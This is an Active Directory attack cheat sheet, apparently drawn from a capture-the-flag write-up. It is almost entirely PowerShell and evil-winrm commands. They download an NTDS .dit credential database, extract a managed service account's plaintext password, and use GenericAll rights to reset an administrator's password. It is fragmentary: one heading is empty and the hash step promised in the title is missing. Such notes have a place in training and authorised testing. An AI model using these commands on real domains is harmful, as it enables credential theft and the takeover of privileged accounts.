Get Hashes from .dit File

# REMOTE

## Download .dit file (assuming evil-winrm is used)
download <database_file>

## Get system HIVE

Get Password (locally)

This solution is taken from: https://0xdf.gitlab.io/2022/04/30/htb-search.html#get-password

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity <user> -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

# Save the password to variables
(ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword 
$password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
$SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword

# Reset password of admin if the compromised user has GenericAll permissions
$cred = New-Object System.Management.Automation.PSCredential <user>, $SecPass
Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity <admin_user> -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'PASSWORD' -force)} -Credential $cred
